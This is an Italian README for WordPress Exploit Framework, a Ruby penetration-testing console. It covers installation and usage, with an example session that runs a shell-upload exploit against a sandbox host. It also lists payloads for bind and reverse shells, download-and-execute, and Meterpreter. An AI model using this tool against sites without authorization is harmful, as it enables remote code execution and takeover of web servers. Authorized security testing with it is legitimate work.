WordPress Exploit Framework

Un framework Ruby progettato per assistere nei test di penetrazione di sistemi WordPress.

Installazione

Per installare l'ultima build stabile, esegui gem install wpxf.

Dopo l'installazione, puoi avviare la console di WordPress Exploit Framework eseguendo wpxf.

Di cosa ho bisogno per eseguirlo?

È richiesto Ruby >= 2.4.4 per eseguire WordPress Exploit Framework.

Risoluzione dei problemi di installazione

Sistemi Debian

Se hai problemi nell'installare le dipendenze di WPXF (in particolare Nokogiri), assicurati prima di avere tutti gli strumenti necessari per compilare estensioni C:

sudo apt-get install build-essential patch

È possibile che non tu abbia importanti file header di sviluppo installati sul sistema. Ecco cosa fare se ti trovi in questa situazione:

sudo apt-get install ruby-dev zlib1g-dev liblzma-dev libsqlite3-dev

Sistemi Windows

Se riscontri errori che indicano che libcurl.dll non può essere caricata, dovrai assicurarti che l'ultimo binario libcurl sia incluso nella tua cartella bin di Ruby, o in qualsiasi altra cartella che si trovi nella variabile PATH del tuo ambiente.

L'ultima versione può essere scaricata da http://curl.haxx.se/download.html. Al 16/05/2016, l'ultima release è indicata come Win32 2000/XP zip 7.40.0 libcurl SSL. Dopo aver scaricato l'archivio, estrai il contenuto della directory bin nella directory bin di Ruby (se richiesto, non sovrascrivere eventuali DLL esistenti).

Come si utilizza?

Avvia la console di WordPress Exploit Framework eseguendo wpxf.

Una volta caricato, ti verrà presentato il prompt di wpxf, da qui puoi cercare moduli usando il comando search o caricare un modulo usando il comando use.

Caricare un modulo nel tuo ambiente ti permetterà di impostare le opzioni con il comando set e visualizzare informazioni sul modulo usando info.

Di seguito è riportato un esempio di come caricare il modulo exploit symposium_shell_upload, impostare le opzioni del modulo e del payload ed eseguire l'exploit contro il target.

wpxf > use exploit/shell/symposium_shell_upload

[+] Loaded module: #<Wpxf::Exploit::SymposiumShellUpload:0x3916f20>

wpxf [exploit/shell/symposium_shell_upload] > set host wp-sandbox

[+] Set host => wp-sandbox

wpxf [exploit/shell/symposium_shell_upload] > set target_uri /wordpress/

[+] Set target_uri => /wordpress/

wpxf [exploit/shell/symposium_shell_upload] > set payload exec

[+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078>

wpxf [exploit/shell/symposium_shell_upload] > set cmd echo "Hello, world!"

[+] Set cmd => echo "Hello, world!"

wpxf [exploit/shell/symposium_shell_upload] > run

[-] Preparing payload...
[-] Uploading the payload...
[-] Executing the payload...
[+] Result: Hello, world!
[+] Execution finished successfully

Per un elenco completo dei comandi supportati, dai un'occhiata a Questa Pagina Wiki.

Qual è la differenza tra moduli ausiliari e moduli exploit?

I moduli ausiliari non ti permettono di eseguire payload sulla macchina target, ma ti permettono di estrarre informazioni dal target, escalare privilegi o fornire funzionalità di denial of service.

I moduli exploit richiedono di specificare un payload che viene successivamente eseguito sulla macchina target, permettendoti di eseguire codice arbitrario per estrarre informazioni dalla macchina, stabilire una shell remota o qualsiasi altra cosa tu voglia fare nel contesto del server web.

Quali payload sono disponibili?

bind_php: carica uno script che si legherà a una porta specifica e permetterà a WPXF di stabilire una shell remota.
custom: carica ed esegue uno script PHP personalizzato.
download_exec: scarica ed esegue un file eseguibile remoto.
meterpreter_bind_tcp: un payload Meterpreter bind TCP generato usando msfvenom.
meterpreter_reverse_tcp: un payload Meterpreter reverse TCP generato usando msfvenom.
exec: esegue un comando shell sul server remoto e restituisce l'output alla sessione WPXF.
reverse_tcp: carica uno script che stabilirà una shell TCP inversa.

Tutti questi payload, ad eccezione di custom e dei payload Meterpreter, si cancelleranno dopo essere stati eseguiti, per evitare di lasciarli in giro sulla macchina target dopo l'uso o nel caso in cui vengano utilizzati per stabilire una shell che fallisce.

Come posso scrivere i miei moduli e payload?

Guide sulla scrittura di moduli e payload si trovano su The Wiki e la documentazione completa dell'API si trova su https://rastating.github.io/wordpress-exploit-framework

Licenza

Eseguire WordPress Exploit Framework contro siti web senza previo consenso reciproco potrebbe essere illegale nel tuo paese. L'autore e le parti coinvolte nel suo sviluppo non accettano alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da WordPress Exploit Framework.

Questo programma è software libero: puoi ridistribuirlo e/o modificarlo secondo i termini della GNU General Public License come pubblicata dalla Free Software Foundation, sia la versione 3 della Licenza, o (a tua scelta) qualsiasi versione successiva.

Questo programma è distribuito nella speranza che sia utile, ma SENZA ALCUNA GARANZIA; senza neppure la garanzia implicita di COMMERCIABILITÀ o IDONEITÀ PER UN PARTICOLARE SCOPO. Vedere la GNU General Public License per maggiori dettagli.

Dovresti aver ricevuto una copia della GNU General Public License insieme a questo programma. In caso contrario, vedi http://www.gnu.org/licenses/.

wordpress-exploit-framework

Più Popolari